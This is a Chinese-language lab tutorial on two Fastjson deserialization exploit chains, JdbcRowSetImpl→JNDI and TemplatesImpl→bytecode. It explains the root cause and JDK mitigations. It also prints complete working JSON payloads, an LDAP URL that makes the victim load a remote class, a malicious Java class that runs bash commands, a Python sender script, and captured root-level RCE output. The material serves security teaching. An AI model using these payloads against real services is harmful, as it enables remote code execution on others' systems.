Fastjson 漏洞学习笔记 · 03 · 经典利用链:TemplatesImpl 与 JdbcRowSetImpl

引子:放行之后,攻击者到底点了什么"火"

02 篇讲的是"能不能加载指定的类"。但"能加载"只是第一步------真正让攻击成立的是:某个类在被反序列化(被实例化、被设置属性)的过程中,会顺带做出危险动作。 这类"能被外部摆弄出危险行为"的普通类,安全圈叫 gadget(利用链组件)。

它有点像"合法的家用化学品":单独放都无害,但被按特定顺序、特定用量组合起来,就能炸。Fastjson 的可怕之处在于,它把"选择化学品、并按顺序混合"的权限,交给了外部输入。

本篇挑两条最有代表性、也最能帮助建立直觉的链:

  • JdbcRowSetImpl → JNDI → RCE:需要受害者能出网访问攻击者的 LDAP/HTTP 服务,是现实中"打外网、打能出网的机器"的首选;

  • TemplatesImpl → 定义并执行字节码 :不依赖任何网络,直接在受害者 JVM 里 defineClass,是内网、不出网场景的代表。

理解这两条链,就能看懂 Fastjson、Log4j2 乃至几乎所有 Java 反序列化漏洞共享的"公共出口"------JNDI,以及"数据被当代码"这一通用母题。真实攻防中,攻击者往往先试 JNDI 类链(省事、能外带数据),打不动再退回本地执行链。

本篇要点:

  1. 什么叫 gadget?为什么"普通类"能变成"武器"?

  2. JdbcRowSetImpl 的哪个 setter 会触发 JNDI 查询?完整因果是什么?

  3. TemplatesImpl 为什么能用一段 Base64 字节码执行命令?SupportNonPublicField 起什么作用?

  4. 为什么 payload 报错 set property error 时,RCE 其实已经发生了?怎么确认?

  5. 两条链在"是否需要出网"上的差异,对实战意味着什么?


一、先补一块必读前置:JNDI / RMI / LDAP 白话

JdbcRowSetImpl 链会用到 JNDI,所以先把这块讲清楚,不然后面只剩背 payload。

JNDI(Java Naming and Directory Interface):Java 的"统一查号台 / 通讯录"。程序拿着一个名字去服务里查,得到对应的对象或资源。常见前缀:

  • ldap://host:port/name:到 LDAP 目录服务里查;

  • rmi://host:port/name:到 RMI 注册中心查;

  • java:comp/env/...:查本进程内的资源。

一旦某个 Java 代码允许由外部输入决定 JNDI 的查询地址,攻击者就能把自己的服务器填进去。查询过程大致是:

复制代码
受害者程序 --(1) lookup("ldap://攻击者:1389/Exploit")--> 攻击者的 LDAP 服务
受害者程序 <--(2) 返回一个"引用"(Reference),里面写着"类从 http://攻击者:8888/ 下载"-- 攻击者
受害者程序 --(3) 去 http://攻击者:8888/Exploit.class 下载并加载类--> 攻击者的 HTTP 服务
(类被加载时执行 -> RCE)

Java 说明:

  • InitialContext:JNDI 的入口类,new InitialContext() 创建查询上下文。

  • lookup(String name):按名字查对象的实例方法,名字前缀决定协议(ldap://、rmi:// 等)。参数可控时即产生 JNDI 注入。

  • Reference:LDAP/RMI 服务返回的"引用",可声明 javaCodebase(去哪个地址下载类)、javaFactory(用哪个类当工厂)。

  • ObjectFactory:一个接口,其 getObjectInstance(...) 负责把引用还原成对象;远程类被加载/实例化时会执行其静态代码块,从而 RCE。

这里有个现代必须先知道的事实 :JDK 从 8u191 / 11.0.1 起,JNDI 远程加载 class 默认关闭 (com.sun.jndi.ldap.object.trustURLCodebase=false)。也就是说,默认情况下第 (3) 步会被拦。只有显式把它打开(误配置),远程类加载才会发生。 本靶场同时提供 JDK8 与 JDK17,下面会实测这个边界。

具体 JNDI 的完整攻防(RMI/LDAP 协议细节、本地工厂 gadget 等)会在 Log4j2 系列里继续展开,这里先够用。


二、链 A:JdbcRowSetImpl → JNDI → RCE

1. 这个类是干嘛的

com.sun.rowset.JdbcRowSetImpl 是 JDK 自带的、实现 RowSet 接口的类,用来把 JDBC 结果集包装成一个"可滚动、可监听"的对象。它本身不是攻击工具。

2. 为什么它危险:setAutoCommit 会触发连接

JdbcRowSetImpl 内部保存了一个数据源名 dataSourceName。当给它设置 autoCommit 属性时,它会先确保建立连接,而建立连接的代码会做 JNDI 查询:

复制代码
// 简化后的逻辑
public void setAutoCommit(boolean autoCommit) throws SQLException {
    if (conn != null) { ... }
    else {
        // 没连接就先连
        connect();               // <-- 这里
    }
    ...
}
​
private void connect() throws SQLException {
    // 如果 dataSourceName 以 java: 开头走 JNDI;
    // 否则把 dataSourceName 交给 InitialContext.lookup(...)
    InitialContext ctx = new InitialContext();
    DataSource ds = (DataSource) ctx.lookup(getDataSourceName());  // <-- JNDI 查询
    ...
}

逐词拆解(方法声明与调用):

  • public void setAutoCommit(boolean autoCommit):声明一个方法。public=外部可调用;void=无返回值;括号内是参数,boolean autoCommit=一个布尔型参数。

  • throws SQLException:声明"该方法可能抛出 SQLException 异常"。

  • conn:类里的一个字段,保存数据库连接;conn != null 表示"已有连接"。

  • connect():调用本类的另一个方法。

  • private void connect():private=只能本类内部调用。

  • InitialContext ctx = new InitialContext();:new 创建 JNDI 上下文对象,赋给变量 ctx。

  • ctx.lookup(getDataSourceName()):调用 ctx 的 lookup 方法,参数是 getDataSourceName()(读取 dataSourceName 字段的方法)的返回值。

  • (DataSource) ...:强制类型转换 ,把 lookup 结果当作 DataSource 使用。

  • Fastjson 读到 "autoCommit": true 就会调用这个 setter,从而触发上面整条链。

Java 说明:

  • setAutoCommit(boolean) 是一个 setter :Fastjson 解析到 "autoCommit": true 时会调用它。

  • 该 setter 内部先执行 connect();connect() 通过 new InitialContext().lookup(getDataSourceName()) 发起 JNDI 查询------危险动作藏在 setter 里。

  • getDataSourceName() 是读取 dataSourceName 字段的 getter。

  • (DataSource) ctx.lookup(...) 是强制类型转换 ,把查询结果当作 DataSource 使用(类型不符就会抛 ClassCastException)。

关键点:dataSourceName 是能从 JSON 里设置的属性,autoCommit 也是。 于是:

复制代码
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local",
  "autoCommit": true
}

Fastjson 反序列化时:

  1. @type 放行 → 实例化 JdbcRowSetImpl;

  2. 设置 dataSourceName → 把攻击者的 LDAP 地址写进去;

  3. 设置 autoCommit=true → 触发 connect() → InitialContext.lookup("ldap://攻击者/...") → JNDI 注入。

这就是"反序列化 → JNDI → RCE"的完整因果。

3. 靶场实测

复制代码
ssh root@192.168.143.156                              # 登录实验机
cd /opt/jndi-server && ./start.sh 192.168.143.156     # 启动 LDAP(1389)+HTTP(8888) 利用服务
cd /opt/fastjson-lab && ./start.sh 1.2.24 8           # 启动脆弱版本 1.2.24(JDK8)
​
B=http://127.0.0.1:8080                               # 靶场本地地址
: > /opt/jndi-server/callbacks.log; rm -f /tmp/fastjson-pwned.txt   # 清空上一轮回调与落地文件,便于观察本次
curl -s -G "$B/parse" --data-urlencode \              # 向 /parse 发送 JdbcRowSetImpl → JNDI 链
 'data={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local","autoCommit":true}'

不依赖脚本的手动等价操作:

复制代码
# 启动 JNDI 服务(手动)
cd /opt/jndi-server
mvn -q -B package && javac --release 8 -d payload payload/Exploit.java   # 首次
nohup java -jar target/jndi-server.jar --host 192.168.143.156 \
  --ldap-port 1389 --http-port 8888 --class payload/Exploit.class --classname Exploit \
  > jndi-server.log 2>&1 &
​
# 启动 1.2.24 靶场(手动)
cd /opt/fastjson-lab
/opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
  -Dlab.cmd="id > /tmp/fastjson-pwned.txt 2>&1; cat /flag-fastjson >> /tmp/fastjson-pwned.txt 2>&1; echo FASTJSON-JNDI-RCE-OK >> /tmp/fastjson-pwned.txt" \
  -cp "target/fastjson-lab.jar:lib/fastjson-1.2.24.jar" \
  com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 &

真实返回:

复制代码
ERROR: com.alibaba.fastjson.JSONException: set property error, autoCommit

别被这个报错吓到。 报错发生在"设置 autoCommit 之后":JNDI 查询已经完成、类已经被加载执行,只是随后这行"当成真 JDBC 连接用"的逻辑抛了异常。RCE 已经发生,看证据:

复制代码
cat /tmp/fastjson-pwned.txt                    # 查看远程类执行命令后的落地结果
# uid=0(root) gid=0(root) groups=0(root)
# nginx
# flag{fastjson_autotype_rce_2026}
# FASTJSON-JNDI-RCE-OK
​
tail -1 /opt/jndi-server/callbacks.log         # 查看 JNDI 服务侧回调,确认受害者来下载了恶意类
# 2026-09-29 14:40:11  192.168.143.156  GET /Exploit.class  UA=Java/1.8.0_504  <== 类被远程加载!

回调日志证明:受害者真的去攻击者的 HTTP 服务下载了 Exploit.class 并加载执行。

本链验证结果:

版本 JDK 端点 结果
1.2.24 8 /parse RCE(JNDI 回调 + /tmp/fastjson-pwned.txt 含 flag)

4. 现代 JDK 的信任边界(必看)

同样的 payload,在不同 JDK 和不同配置下结果不同。靶场实测:

JDK trustURLCodebase 结果
JDK8 默认(false) 被拦截
JDK8 开启(true) 远程类加载 + 执行
JDK17 默认(false) 被拦截
JDK17 开启(true) 远程类加载 + 执行

结论 :默认配置下,现代 JDK 已经把这个 JNDI 远程类加载入口关掉了;但只要有人为了"兼容老业务"加上 -Dcom.sun.jndi.ldap.object.trustURLCodebase=true,风险立刻回来。这也解释了为什么"升级 JDK 能缓解",但不是根治------根治仍然是不让 autoType 加载任意类。


三、链 B:TemplatesImpl → 定义并执行字节码(不依赖网络)

JdbcRowSetImpl 需要受害机能连到攻击者的 LDAP/HTTP 服务。有没有不需要任何网络依赖 的链?有,TemplatesImpl 就是代表。

1. 这个类为什么危险

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是 Xalan XSLT 引擎里的类,用于编译/管理 XSLT 模板。它的特殊之处在于:

  • 它有一个私有字段 _bytecodes(byte[][]),存放"编译后的模板类字节码";

  • 当调用它的 getOutputProperties() 时,会触发内部 newTransformer(),进而对 _bytecodes defineClass(定义类)并实例化。

Java 说明:

  • _bytecodes 是 byte[][](二维字节数组),存放要加载的类的字节码。

  • getOutputProperties() 是一个 getter ;调用它会间接触发 newTransformer()。

  • newTransformer() 内部对 _bytecodes 执行 defineClass(...),把字节码定义成 JVM 里的新类并实例化。

  • AbstractTranslet:TemplatesImpl 要求的父类,恶意类必须 extends AbstractTranslet 才会被接受;transform(...) 是它要求实现的空方法。

  • static { ... } 是静态代码块,类被加载时执行一次;因此把命令写在这里,类一加载就触发。

  • Runtime.getRuntime().exec(new String[]{"/bin/bash","-c", ...}):启动外部进程执行命令(-c 后面是一整条命令串)。

  • Base64:把二进制字节码编码成纯文本,才能塞进 JSON 字符串。

也就是说:只要能把一段恶意字节码塞进 _bytecodes,并促使 getOutputProperties() 被调用,这段字节码就会被 JVM 加载执行。

2. 恶意字节码长什么样

TemplatesImpl 期望的字节码必须继承 AbstractTranslet。下面是一个恶意子类,在静态代码块里执行命令(编译好的 class 会被 Base64 塞进 JSON):

复制代码
// EvilTranslet.java,用 JDK8 的 javac 编译
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
​
public class EvilTranslet extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
                "id > /tmp/tpl-pwned.txt; cat /flag-fastjson >> /tmp/tpl-pwned.txt; echo TEMPLATESIMPL-RCE-OK >> /tmp/tpl-pwned.txt"});
        } catch (Throwable ignored) {}
    }
    public EvilTranslet() { super(); }
    public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}

逐词拆解:

  • import ...:引入其他包的类,本文件后面才能直接用其类名。

  • public class EvilTranslet extends AbstractTranslet:定义一个类;extends=继承 AbstractTranslet(TemplatesImpl 要求的父类)。

  • static { ... }:静态代码块,类被加载时执行一次;命令就写在这里。

  • try { ... } catch (Throwable ignored) {}:异常处理;try 内出错由 catch 接住(这里选择忽略),避免中断。

  • Runtime.getRuntime().exec(...):Runtime.getRuntime() 取得运行环境对象,exec(...) 启动外部进程。

  • new String[]{"/bin/bash","-c","..."}:创建一个字符串数组 作为命令参数,等价于命令行执行 bash -c "整条命令"。

  • public EvilTranslet() { super(); }:构造器 (与类同名、无返回类型);super() 调用父类构造器。

  • public void transform(...):父类要求实现的方法,这里留空(攻击不需要它做事)。

3. payload 为什么长这样

复制代码
{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": ["<EvilTranslet.class 的 Base64>"],
  "_name": "a",
  "_tfactory": {},
  "_outputProperties": {}
}

逐段解释:

  • _bytecodes:私有字段,所以要 Fastjson 开启 Feature.SupportNonPublicField 才能写进去(这就是靶场 /parse-nonpublic、/parse-full 端点的意义);

  • _name、_tfactory:TemplatesImpl 内部逻辑需要它们非空;

  • _outputProperties:Fastjson 处理到这个属性时,会去寻找对应的 getter,从而触发 getOutputProperties() ------RCE 就在这里发生。

Java 说明: Feature.SupportNonPublicField 是 Fastjson 的一个特性开关 ,传给 parseObject 后允许把值写进 private 字段(默认不允许,以尊重封装)。TemplatesImpl 的 _bytecodes 是私有字段,因此必须打开它。SupportNonPublicField 打开后,可利用面会显著扩大。

4. 靶场实测

复制代码
cd /opt/fastjson-lab                          # 进入靶场
./stop.sh; ./start.sh 1.2.24 8                # 结束旧进程并重启到 1.2.24(JDK8)
# 生成并 Base64 恶意 class(靶场已放好源码与编译命令)
cd payload && /opt/jdk8/bin/javac EvilTranslet.java   # 用 JDK8 的 javac 编译恶意 translet
​
# 构造并发送 payload
cd ..                                          # 回到靶场目录
python3 - <<'PY'                               # 运行内联 Python:读 class → Base64 → 拼 payload → 发请求
import base64, urllib.parse, urllib.request                                   # 标准库:编码与 HTTP 请求
b64 = base64.b64encode(open('payload/EvilTranslet.class','rb').read()).decode()   # 读取编译好的 class 并做 Base64
payload = ('{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",'
           '"_bytecodes":["%s"],"_name":"a","_tfactory":{},"_outputProperties":{}}' % b64)   # 拼出 TemplatesImpl payload
url = 'http://127.0.0.1:8080/parse-nonpublic?' + urllib.parse.urlencode({'data':payload})   # 目标端点 /parse-nonpublic
print(urllib.request.urlopen(url, timeout=5).read().decode())                 # 发送请求并打印返回
PY

不依赖脚本的手动等价操作:

复制代码
pkill -f 'com.lab.fastjson.FastjsonLab'; sleep 1            # 停掉旧实例
cd /opt/fastjson-lab
/opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
  -cp "target/fastjson-lab.jar:lib/fastjson-1.2.24.jar" \
  com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 &   # 启动 1.2.24
cd payload && /opt/jdk8/bin/javac EvilTranslet.java         # 用 JDK8 编译恶意 translet
# 之后按下面的 Python 片段做 Base64 并发送(不再依赖任何脚本)

实测返回与证据:

复制代码
ERROR: com.alibaba.fastjson.JSONException: set property error, outputProperties
​
$ cat /tmp/tpl-pwned.txt
uid=0(root) gid=0(root) groups=0(root)
nginx
flag{fastjson_autotype_rce_2026}
TEMPLATESIMPL-RCE-OK

注意这条链不需要 JNDI、不需要外网、不需要加载远程类 ,是纯粹的"反序列化 → defineClass → 执行"。所以即便把 JNDI 关了、JDK 升到最新,只要 autoType 还能加载 TemplatesImpl,它依然可能打穿。

本链验证结果:

版本 JDK 端点 结果
1.2.24 8 /parse-nonpublic(SupportNonPublicField) RCE(/tmp/tpl-pwned.txt 含 flag)

四、两条链怎么选

链 依赖 触发条件 现代受阻情况
JdbcRowSetImpl → JNDI 受害机能访问攻击者 LDAP/HTTP setAutoCommit 触发 lookup JNDI 远程类加载默认关闭;出网受限时打不通
TemplatesImpl 无需网络 SupportNonPublicField + 触发 getter JDK17 强封装下需额外 --add-opens;仍是高危链

现实进攻里通常首选 JNDI 类链(省事、可外带数据),内网不出网时才考虑 TemplatesImpl 这类"本地执行"链。这也是 Log4j2 与 Fastjson 都会用到 JNDI 的原因------JNDI 是很多 Java 反序列化漏洞的公共出口。


五、自测题

  1. 用因果链描述 JdbcRowSetImpl payload 是怎么一步步变成命令执行的(从 @type 到 lookup)。

  2. 为什么 payload 执行成功,返回值却是 set property error, autoCommit?如何确认 RCE 真的发生了?

  3. TemplatesImpl 链为什么需要 Feature.SupportNonPublicField?_outputProperties 起什么作用?

  4. 为什么"升级 JDK"只能缓解 JNDI 类链,却不能根治 Fastjson 漏洞?

  5. 两条链在"是否需要出网"上的区别,对真实攻防意味着什么?

相关推荐
蜗牛互联网1 小时前
GPT-6.1 Sol迁移指南:从token单价转向每任务成本门禁
java·人工智能·后端·gpt
蜗牛互联网1 小时前
HSTU在Dynamo-Triton中的AOTI与KV缓存验收方法
java·人工智能·后端·缓存
Sirens.2 小时前
Java多线程实例:单例模式、阻塞队列、线程池与定时器
java·开发语言·单例模式
青山木2 小时前
秒杀系统设计(一):需求拆解与流量治理
java·数据库·redis·后端·架构
卓怡学长2 小时前
w195基于ssm“Fitfrend”个性化健身
java·intellij-idea
驭渊的小故事2 小时前
算法实战:滑动窗口、素数枚举与字符串模拟(三道经典题解)
java·算法
雪落漂泊2 小时前
Linux基本指令(下)
java·linux·服务器
Eloudy2 小时前
全文 - version.A - AMBA CHI Chip-to-Chip(C2C)
java·开发语言·数据库·gpu·chiplet
谁是谁的谁_bj2 小时前
Process Lasso进程调度/资源管理工具
java